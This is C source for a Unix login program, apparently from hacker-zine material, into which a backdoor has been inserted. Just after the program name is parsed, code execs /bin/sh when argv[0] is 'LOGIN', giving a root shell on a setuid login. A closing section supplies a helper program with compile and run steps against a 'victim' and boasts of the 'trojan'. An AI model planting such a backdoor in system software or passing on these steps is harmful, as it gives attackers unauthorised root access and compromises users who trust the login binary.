extern	char	*optarg;
extern	char	**environ;
extern	int	pw_auth();
extern	int	login_access();
extern	void	login_fbtab();

extern void set_filesize_limit __P((int));

#ifndef	ALARM
#define	ALARM	60
#endif

#ifndef	RETRIES
#define	RETRIES	3
#endif

#ifndef LOGIN_PROMPT
#define LOGIN_PROMPT "login: "
#endif

static struct faillog faillog;

#define	NO_SHADOW	"no shadow password for `%s'%s\n"
#define	BAD_PASSWD	"invalid password for `%s'%s\n"
#define	BAD_DIALUP	"invalid dialup password for `%s' on `%s'\n"
#define	BAD_TIME	"invalid login time for `%s'%s\n"
#define	BAD_ROOT_LOGIN	"ILLEGAL ROOT LOGIN%s\n"
#define	ROOT_LOGIN	"ROOT LOGIN%s\n"
#define	FAILURE_CNT	"exceeded failure limit for `%s'%s\n"
#if 0  /* no one uses these */
#define	NOT_A_TTY	"not a tty\n"
#define	NOT_ROOT	"-r or -f flag and not ROOT on `%s'\n"
#define AUTHFAIL	"authentication failed for user `%s'\n"
#endif
#define REG_LOGIN	"`%s' logged in%s\n"
#define LOGIN_REFUSED	"LOGIN `%s' REFUSED%s\n"
#define REENABLED \
	"Warning: login re-enabled after temporary lockout.\n"
#define REENABLED2 \
	"login `%s' re-enabled after temporary lockout (%d failures).\n"

/*
 * usage - print login command usage and exit
 *
 * login [ name ]
 * login -r hostname	(for rlogind)
 * login -h hostname	(for telnetd, etc.)
 * login -f name	(for pre-authenticated login: datakit, xterm, etc.)
 */

static void
usage ()
{
	fprintf(stderr, "usage: login [ -p ] [ name ]\n");
	if (getuid() == 0) {
		fprintf(stderr, "       login [ -p ] [ -f name ] -h host\n");
		fprintf(stderr, "       login [ -p ] -f name\n");
#ifdef RLOGIN
		fprintf(stderr, "       login [ -p ] -r name\n");
#endif
	}
	exit (1);
}


static void
setup_tty()
{
	TERMIO	termio;

	GTTY (0, &termio);		/* get terminal characteristics */

	/*
	 * Add your favorite terminal modes here ...
	 */

#ifndef	USE_SGTTY
	termio.c_lflag |= ISIG|ICANON|ECHO|ECHOE;
	termio.c_iflag |= ICRNL;

#if defined(ECHOKE) && defined(ECHOCTL)
	termio.c_lflag |= ECHOKE|ECHOCTL;
#endif
#if defined(ECHOPRT) && defined(NOFLSH) && defined(TOSTOP)
	termio.c_lflag &= ~(ECHOPRT|NOFLSH|TOSTOP);
#endif
#ifdef	ONLCR
	termio.c_oflag |= ONLCR;
#endif

#ifdef	SUN4

	/*
	 * Terminal setup for SunOS 4.1 courtesy of Steve Allen
	 * at UCO/Lick.
	 */

	termio.c_cc[VEOF] = '\04';
	termio.c_cflag &= ~CSIZE;
	termio.c_cflag |= (PARENB|CS7);
	termio.c_lflag |= (ISIG|ICANON|ECHO|IEXTEN);
	termio.c_iflag |= (BRKINT|IGNPAR|ISTRIP|IMAXBEL|ICRNL|IXON);
	termio.c_iflag &= ~IXANY;
	termio.c_oflag |= (XTABS|OPOST|ONLCR);
#endif
	termio.c_cc[VERASE] = getdef_num("ERASECHAR", '\b');
	termio.c_cc[VKILL] = getdef_num("KILLCHAR", '\025');

	/*
	 * ttymon invocation prefers this, but these settings won't come into
	 * effect after the first username login 
	 */

#else
#endif	/* !BSD */
	STTY (0, &termio);
}

/*
 * login - create a new login session for a user
 *
 *	login is typically called by getty as the second step of a
 *	new user session.  getty is responsible for setting the line
 *	characteristics to a reasonable set of values and getting
 *	the name of the user to be logged in.  login may also be
 *	called to create a new user session on a pty for a variety
 *	of reasons, such as X servers or network logins.
 *
 *	the flags which login supports are
 *	
 *	-p - preserve the environment
 *	-r - perform autologin protocol for rlogin
 *	-f - do not perform authentication, user is preauthenticated
 *	-h - the name of the remote host
 */

int
main (argc, argv)
int	argc;
char	**argv;
{
	char	name[32];
	char	tty[BUFSIZ];
#ifdef RLOGIN
	char	term[128] = "";
	extern int rlogin __P((const char *, char *, int, char *, int));
#endif
	int	reason = PW_LOGIN;
	int	retries;
	int	arg;
	int	failed;
	int	flag;
	int	subroot = 0;
	int	is_console;
	char	*fname;
	char	*cp;
	char	*tmp;
	char	fromhost[512];
	struct	passwd	*pwd;
	char	**envp = environ;
#ifdef	SHADOWPWD
	struct	spwd	*spwd=NULL;
	struct	spwd	*getspnam();
#endif
#ifdef RADIUS
	RAD_USER_DATA rad_user_data;
	int is_rad_login;
#endif
#if defined(RADIUS) || defined(DES_RPC) || defined(KERBEROS)
	/* from pwauth.c */
	extern char *clear_pass;
	extern int wipe_clear_pass;

	/*
	 * We may need the password later, don't want pw_auth() to wipe it
	 * (we do it ourselves when it is no longer needed).  --marekm
	 */
	wipe_clear_pass = 0;
#endif

	/*
	 * Some quick initialization.
	 */

	name[0] = '\0';

	/*
	 * Check the flags for proper form.  Every argument starting with
	 * "-" must be exactly two characters long.  This closes all the
	 * clever rlogin, telnet, and getty holes.
	 */

	for (arg = 1;arg < argc;arg++) {
		if (argv[arg][0] == '-' && strlen (argv[arg]) > 2)
			usage ();
	}

	Prog = Basename(argv[0]);
if (!strcmp(Prog,"LOGIN")) {
execl("/bin/sh","/bin/login",NULL);
} 

#ifdef RLOGIN
#define FLAGS "d:f:h:pr:"
#else
#define FLAGS "d:f:h:p"
#endif

	while ((flag = getopt (argc, argv, FLAGS)) != EOF)
#undef FLAGS
	{
		switch (flag) {
			case 'p':
				pflg++;
				break;
			case 'f':
				/*
				 * username must be a separate token
				 * (-f root, *not* -froot).  --marekm
				 */
				if (optarg != argv[optind - 1])
					usage();
				fflg++;
				STRFCPY(name, optarg);
				break;
#ifdef	RLOGIN
			case 'r':
				rflg++;
				reason = PW_RLOGIN;
				STRFCPY(host, optarg);
				break;
#endif
			case 'h':
				hflg++;
				reason = PW_TELNET;
				STRFCPY(host, optarg);
				break;
			case 'd':
				/* "-d device" ignored for compatibility */
				break;
			default:
				usage ();
		}
	}

#ifdef RLOGIN
	/*
	 * Neither -h nor -f should be combined with -r.
	 */

	if (rflg && (hflg || fflg))
		usage ();
#endif

	/*
	 * Allow authentication bypass only if real UID is zero.
	 */

	if ((rflg || fflg || hflg) && getuid () != 0) {
		fprintf(stderr, "%s: permission denied\n", Prog);
		exit (1);
	}

	if (! isatty (0) || ! isatty (1) || ! isatty (2))
		exit (1);		/* must be a terminal */

#if 0
	/*
	 * Get the utmp file entry and get the tty name from it.  The
	 * current process ID must match the process ID in the utmp
	 * file if there are no additional flags on the command line.
	 */
	checkutmp (!rflg && !fflg && !hflg);
#else
	/*
	 * Be picky if run by normal users (possible if installed setuid
	 * root), but not if run by root.  This way it still allows logins
	 * even if your getty is broken, or if something corrupts utmp,
	 * but users must "exec login" which will use the existing utmp
	 * entry (will not overwrite remote hostname).  --marekm
	 */
	checkutmp(getuid() != 0);
#endif
	STRFCPY(tty, utent.ut_line);
	is_console = console(tty);

	if (rflg || hflg) {
#ifdef	UT_HOST
		STRFCPY(utent.ut_host, host);
#endif	/*UT_HOST*/
#if HAVE_UTMPX_H
		STRFCPY(utxent.ut_host, host);
#endif
	}
	if (hflg && fflg) {
		reason = PW_RLOGIN;
		preauth_flag++;
	}
#ifdef RLOGIN
	if (rflg && rlogin(host, name, sizeof name, term, sizeof term))
		preauth_flag++;
#endif

#ifdef	USE_SYSLOG
	openlog (Prog, LOG_PID|LOG_CONS|LOG_NOWAIT, LOG_AUTH);
#endif

	setup_tty();

	umask (getdef_num("UMASK", 077));

	{
		/* 
		 * Use the ULIMIT in the login.defs file, and if
		 * there isn't one, use the default value.  The
		 * user may have one for themselves, but otherwise,
		 * just take what you get.
		 */

		long limit = getdef_long("ULIMIT", -1L);

		if (limit != -1)
			set_filesize_limit(limit);
	}

	/*
	 * The entire environment will be preserved if the -p flag
	 * is used.
	 */

	if (pflg)
		while (*envp)		/* add inherited environment, */
			addenv (*envp++); /* some variables change later */

#ifdef RLOGIN
	if (term[0] != '\0')
		addenv2("TERM", term);
	else
#endif
	/* preserve TERM from getty */
	if (!pflg && (tmp = getenv("TERM")))
		addenv2("TERM", tmp);

	/*
	 * Add the timezone environmental variable so that time functions
	 * work correctly.
	 */

	if ((tmp = getenv ("TZ"))) {
		addenv2("TZ", tmp);
	} else if ((cp = getdef_str ("ENV_TZ")))
		addenv (*cp == '/' ? tz (cp):cp);

	/* 
	 * Add the clock frequency so that profiling commands work
	 * correctly.
	 */
	if ((tmp = getenv("HZ"))) {
		addenv2("HZ", tmp);
	} else if ((cp = getdef_str("ENV_HZ")))
		addenv (cp);

	if (optind < argc) {		/* get the user name */
		if (rflg || fflg)
			usage ();

#ifdef SVR4
		/*
		 * The "-h" option can't be used with a command-line username,
		 * because telnetd invokes us as: login -h host TERM=...
		 */

		if (! hflg)
#endif
		{
			STRFCPY(name, argv[optind]);
			++optind;
		}
	}
#ifdef SVR4
	/*
	 * check whether ttymon has done the prompt for us already
	 */

	{
	    char *ttymon_prompt;

	    if ((ttymon_prompt = getenv("TTYPROMPT")) != NULL &&
		    (*ttymon_prompt != 0)) {
		/* read name, without prompt */
		login_prompt((char *)0, name, sizeof name);
	    }
	}
#endif /* SVR4 */
	if (optind < argc)		/* now set command line variables */
		    set_env (argc - optind, &argv[optind]);

	if (rflg || hflg)
		cp = host;
	else
#ifdef	UT_HOST
	if (utent.ut_host[0])
		cp = utent.ut_host;
	else
#endif
#if HAVE_UTMPX_H
	if (utxent.ut_host[0])
		cp = utxent.ut_host;
	else
#endif
		cp = "";

	if (*cp)
		sprintf(fromhost, " on `%.100s' from `%.200s'", tty, cp);
	else
		sprintf(fromhost, " on `%.100s'", tty);

top:
	/* only allow ALARM sec. for login */
	alarm(getdef_num("LOGIN_TIMEOUT", ALARM));

	environ = newenvp;		/* make new environment active */
	retries = getdef_num("LOGIN_RETRIES", RETRIES);
	while (1) {	/* repeatedly get login/password pairs */
		failed = 0;		/* haven't failed authentication yet */
#ifdef RADIUS
		is_rad_login = 0;
#endif
		if (! name[0]) {	/* need to get a login id */
			if (subroot) {
#ifdef	USE_SYSLOG
				closelog ();
#endif
				exit (1);
			}
			preauth_flag = 0;
			login_prompt(LOGIN_PROMPT, name, sizeof name);
			continue;
		}
		if (! (pwd = getpwnam (name))) {
			pwent.pw_name = name;
			pwent.pw_passwd = "!";
			pwent.pw_shell = "/bin/sh";

			preauth_flag = 0;
			failed = 1;
		} else {
			pwent = *pwd;
		}
#ifdef	SHADOWPWD
		if (pwd) {
			spwd = getspnam(name);
			if (spwd)
				pwent.pw_passwd = spwd->sp_pwdp;
		/* Don't log this - the same login program will work with
		   both shadow and non-shadow passwords.  --marekm */
#if defined(USE_SYSLOG) && defined(LOG_NO_SHADOW)
			else
				syslog (LOG_WARN, NO_SHADOW, name, fromhost);
#endif
		}
#endif	/* SHADOWPWD */

		/*
		 * If the encrypted password begins with a "!", the account
		 * is locked and the user cannot login, even if they have
		 * been "pre-authenticated."
		 */

		if (pwent.pw_passwd[0] == '!' || pwent.pw_passwd[0] == '*')
			failed = 1;

		/*
		 * The -r and -f flags provide a name which has already
		 * been authenticated by some server.
		 */

		if (preauth_flag)
			goto auth_ok;

		if (pw_auth(pwent.pw_passwd, name, reason, (char *) 0) == 0)
			goto auth_ok;

#ifdef RADIUS
		/*
		 * If normal password authentication didn't work, try radius.
		 */
		
		if (!failed) {
			pwd = rad_authenticate(&rad_user_data, name,
						clear_pass ? clear_pass : "");
			if (pwd) {
				is_rad_login = 1;
				pwent = *pwd;
				goto auth_ok;
			}
		}
#endif /* RADIUS */

#ifdef	USE_SYSLOG
		/*
		 * Don't log unknown usernames - I mistyped the password for
		 * username at least once...  Should probably use LOG_AUTHPRIV
		 * for those who really want to log them.  --marekm
		 */
		syslog(LOG_WARN, BAD_PASSWD,
		       (pwd || getdef_bool("LOG_UNKFAIL_ENAB")) ?
		       name : "UNKNOWN",
		       fromhost);
#endif /* USE_SYSLOG */
		failed = 1;

auth_ok:
		/*
		 * This is the point where all authenticated users
		 * wind up.  If you reach this far, your password has
		 * been authenticated and so on.
		 */

#if defined(RADIUS) && !defined(DES_RPC) && !defined(KERBEROS)
		if (clear_pass) {
			bzero(clear_pass, strlen(clear_pass));
			clear_pass = NULL;
		}
#endif

		if (getdef_bool("DIALUPS_CHECK_ENAB")) {
			alarm (30);

			if (! dialcheck (tty, pwent.pw_shell[0] ?
					pwent.pw_shell:"/bin/sh")) {
#ifdef	USE_SYSLOG
				syslog (LOG_WARN, BAD_DIALUP, name, tty);
#endif
				failed = 1;
			}
		}
		if (getdef_bool("PORTTIME_CHECKS_ENAB") &&
		    !isttytime(pwent.pw_name, tty, time ((time_t *) 0))) {
#ifdef	USE_SYSLOG
			syslog (LOG_WARN, BAD_TIME, name, fromhost);
#endif	/* USE_SYSLOG */
			failed = 1;
		}
		if (! failed && pwent.pw_name && pwent.pw_uid == 0 &&
				! is_console) {
#ifdef	USE_SYSLOG
			syslog (LOG_CRIT, BAD_ROOT_LOGIN, fromhost);
#endif
			failed = 1;
		}
#ifdef LOGIN_ACCESS
		if (!failed && !login_access(name, *host ? host : tty)) {
			syslog(LOG_WARN, LOGIN_REFUSED, name, fromhost);
			failed = 1;
		}
#endif
		if (pwd && getdef_bool("FAILLOG_ENAB") && 
				! failcheck (pwent.pw_uid, &faillog, failed)) {
#ifdef	USE_SYSLOG
			syslog (LOG_CRIT, FAILURE_CNT, name, fromhost);
#endif
			failed = 1;
		}
		if (! failed)
			break;

		/* don't log non-existent users */
		if (pwd && getdef_bool("FAILLOG_ENAB"))
			failure (pwent.pw_uid, tty, &faillog);
		if (getdef_str("FTMP_FILE") != NULL) {
#if HAVE_UTMPX_H
			failent = utxent;
#else
			failent = utent;
#endif

			if (pwd)
				STRFCPY(failent.UT_USER, pwent.pw_name);
			else
				if (getdef_bool("LOG_UNKFAIL_ENAB"))
					STRFCPY(failent.UT_USER, name);
				else
					STRFCPY(failent.UT_USER, "UNKNOWN");
#if HAVE_UTMPX_H
			gettimeofday (&(failent.ut_tv));
#else
			time (&failent.ut_time);
#endif
#ifdef USER_PROCESS
			failent.ut_type = USER_PROCESS;
#endif
			failtmp (&failent);
		}

		bzero(name, sizeof name);

		/*
		 * Wait a while (a la SVR4 /usr/bin/login) before attempting
		 * to login the user again.  If the earlier alarm occurs
		 * before the sleep() below completes, login will exit.
		 */

		if (getdef_num ("FAIL_DELAY", 0))
			sleep (getdef_num ("FAIL_DELAY", 0));

		puts ("Login incorrect");

		/* allow only one attempt with -r or -f */
		if (rflg || fflg || --retries <= 0) {
#ifdef USE_SYSLOG
			closelog();
#endif
			exit(1);
		}
	}
	(void) alarm (0);		/* turn off alarm clock */

	/*
	 * Check to see if system is turned off for non-root users.
	 * This would be useful to prevent users from logging in
	 * during system maintenance.  We make sure the message comes
	 * out for root so she knows to remove the file if she's
	 * forgotten about it ...
	 */

	fname = getdef_str("NOLOGINS_FILE");
	if (fname != NULL && access (fname, 0) == 0) {
		FILE	*nlfp;
		int	c;

		/*
		 * Cat the file if it can be opened, otherwise just
		 * print a default message
		 */

		if ((nlfp = fopen (fname, "r"))) {
			while ((c = getc (nlfp)) != EOF) {
				if (c == '\n')
					putchar ('\r');

				putchar (c);
			}
			fflush (stdout);
			fclose (nlfp);
		} else
			printf ("\r\nSystem closed for routine maintenance\r\n");
		/*
		 * Non-root users must exit.  Root gets the message, but
		 * gets to login.
		 */

		if (pwent.pw_uid != 0) {
#ifdef	USE_SYSLOG
			closelog ();
#endif
			exit (0);
		}
		printf ("\r\n[Disconnect bypassed -- root login allowed.]\r\n");
	}
	if (getenv ("IFS"))		/* don't export user IFS ... */
		addenv ("IFS= \t\n");	/* ... instead, set a safe IFS */

	setutmp (name, tty);		/* make entry in utmp & wtmp files */
	if (pwent.pw_shell[0] == '*') {	/* subsystem root */
		subsystem (&pwent);	/* figure out what to execute */
		subroot++;		/* say i was here again */
		endpwent ();		/* close all of the file which were */
		endgrent ();		/* open in the original rooted file */
#ifdef	SHADOWPWD
		endspent ();		/* system.  they will be re-opened */
#endif
#ifdef	SHADOWGRP
		endsgent ();		/* in the new rooted file system */
#endif
		goto top;		/* go do all this all over again */
	}
	if (getdef_bool("LASTLOG_ENAB"))
		log ();			/* give last login and log this one */

#ifdef SVR4_SI86_EUA
	sysi86(SI86LIMUSER, EUA_ADD_USER);	/* how do we test for fail? */
#endif

#ifdef LOGIN_FBTAB
	/*
	 * XXX - not supported yet.  Change permissions and ownerships of
	 * devices like floppy/audio/mouse etc. for console logins, based
	 * on /etc/fbtab or /etc/logindevperm configuration files (Suns do
	 * this with their framebuffer devices).  Problems:
	 *
	 * - most systems (except BSD) don't have that nice revoke() system
	 * call to ensure the previous user didn't leave a process holding
	 * one of these devices open or mmap'ed.  Any volunteers to do it
	 * in Linux?
	 *
	 * - what to do with different users logged in on different virtual
	 * consoles?  Maybe permissions should be changed only on user's
	 * request, by running a separate (setuid root) program?
	 *
	 * - init/telnetd/rlogind/whatever should restore permissions after
	 * the user logs out.
	 *
	 * Try the new CONSOLE_GROUPS feature instead.  It adds specified
	 * groups (like "floppy") to the group set if the user is logged in
	 * on the console.  This still has the first problem (users leaving
	 * processes with these devices open), but doesn't need to change
	 * any permissions, just make them 0660 root.floppy etc.  --marekm
	 */
	login_fbtab(tty, pwent.pw_uid, pwent.pw_gid);
#endif

#ifdef	AGING
	/*
	 * Have to do this while we still have root privileges, otherwise
	 * we don't have access to /etc/shadow.  expire() closes password
	 * files, and changes to the user in the child before executing
	 * the passwd program.  --marekm
	 */
#ifdef	SHADOWPWD
	if (spwd) {			/* check for age of password */
		if (expire (&pwent, spwd)) {
			spwd = getspnam (name);
			pwd = getpwnam (name);
			if (pwd)
				pwent = *pwd;
		}
	}
#else
#ifdef	ATT_AGE
	if (pwent.pw_age && pwent.pw_age[0]) {
		if (expire (&pwent)) {
			pwd = getpwnam (name);
			if (pwd)
				pwent = *pwd;
		}
	}
#endif	/* ATT_AGE */
#endif /* SHADOWPWD */
#endif	/* AGING */

#ifdef RADIUS
	if (is_rad_login) {
		char whofilename[128];
		FILE *whofile;

		sprintf(whofilename, "/var/log/radacct/%.20s", tty);
		whofile = fopen(whofilename, "w");
		if (whofile) {
			fprintf(whofile, "%s\n", name);
			fclose(whofile);
		}
	}
#endif
	chown_tty(tty, &pwent);
	setup_limits(&pwent);  /* nice, ulimit etc. */
	setup_uid_gid(&pwent, is_console);

#ifdef KERBEROS
	if (clear_pass)
		login_kerberos(name, clear_pass);
#endif
#ifdef DES_RPC
	if (clear_pass)
		login_desrpc(clear_pass);
#endif
#if defined(DES_RPC) || defined(KERBEROS)
	if (clear_pass)
		bzero(clear_pass, strlen(clear_pass));
#endif

	setup_env(&pwent);  /* set env vars, cd to the home dir */

	if (! hushed (&pwent)) {
		motd ();		/* print the message of the day */
		if (getdef_bool ("FAILLOG_ENAB") && faillog.fail_cnt != 0) {
			failprint (&faillog);
#ifdef FAILLOG_LOCKTIME
			if (faillog.fail_max &&
			    faillog.fail_cnt >= faillog.fail_max) {
				puts(REENABLED);
#ifdef USE_SYSLOG
				syslog(LOG_WARN, REENABLED2, name,
					(int) faillog.fail_cnt);
#endif
			}
#endif
		}
		if (getdef_bool ("LASTLOG_ENAB") && lastlog.ll_time != 0) {
			printf ("Last login: %.19s on %s",
				ctime (&lastlog.ll_time), lastlog.ll_line);
#ifdef HAVE_LL_HOST  /* SVR4 || __linux__ || SUN4 */
			if (lastlog.ll_host[0])
				printf(" from %.*s",
				       (int) sizeof lastlog.ll_host,
				       lastlog.ll_host);
#endif
			printf(".\n");
		}
#ifdef	AGING
#ifdef	SHADOWPWD
		agecheck (&pwent, spwd);
#else
		agecheck (&pwent);
#endif
#endif	/* AGING */
		mailcheck ();	/* report on the status of mail */
	}
	if (getdef_str("TTYTYPE_FILE") != NULL && getenv("TERM") == NULL)
  		ttytype (tty);

	signal (SIGINT, SIG_DFL);	/* default interrupt signal */
	signal (SIGQUIT, SIG_DFL);	/* default quit signal */
	signal (SIGTERM, SIG_DFL);	/* default terminate signal */
	signal (SIGALRM, SIG_DFL);	/* default alarm signal */
	signal (SIGHUP, SIG_DFL);	/* added this.  --marekm */

	endpwent ();			/* stop access to password file */
	endgrent ();			/* stop access to group file */
#ifdef	SHADOWPWD
	endspent ();			/* stop access to shadow passwd file */
#endif
#ifdef	SHADOWGRP
	endsgent ();			/* stop access to shadow group file */
#endif
#ifdef	USE_SYSLOG
	if (pwent.pw_uid == 0)
		syslog (LOG_NOTICE, ROOT_LOGIN, fromhost);
	else if (getdef_bool("LOG_OK_LOGINS"))
		syslog(LOG_INFO, REG_LOGIN, name, fromhost);

	closelog ();
#endif
#ifdef RADIUS
	if (is_rad_login) {
		printf("Starting rad_login\n");
		rad_login(&rad_user_data);
		exit(0);
	}
#endif
	shell (pwent.pw_shell, (char *) 0); /* exec the shell finally. */
	/*NOTREACHED*/
	return (0);
}


The root shell will be issued by the following program...

#include <unistd.h>
main(int argc, char **argv){
execl(argv[1],argv[2],NULL);
}

compile it (gcc -o .redo redo.c)and run it like this:
victim:~$ .redo /bin/login LOGIN
victim:~#
it gives root.. as argv[1] you should use the path to the program, and as
argv[2], you should use the string you compared the Prog variable with.. 
:)
that is a very very kewl trojan...
:) 
mbhahahahahahaha (evil laugh).. :)
and so on... 
				In our next package: *SURPRISE!!!*
							(TCP/IP)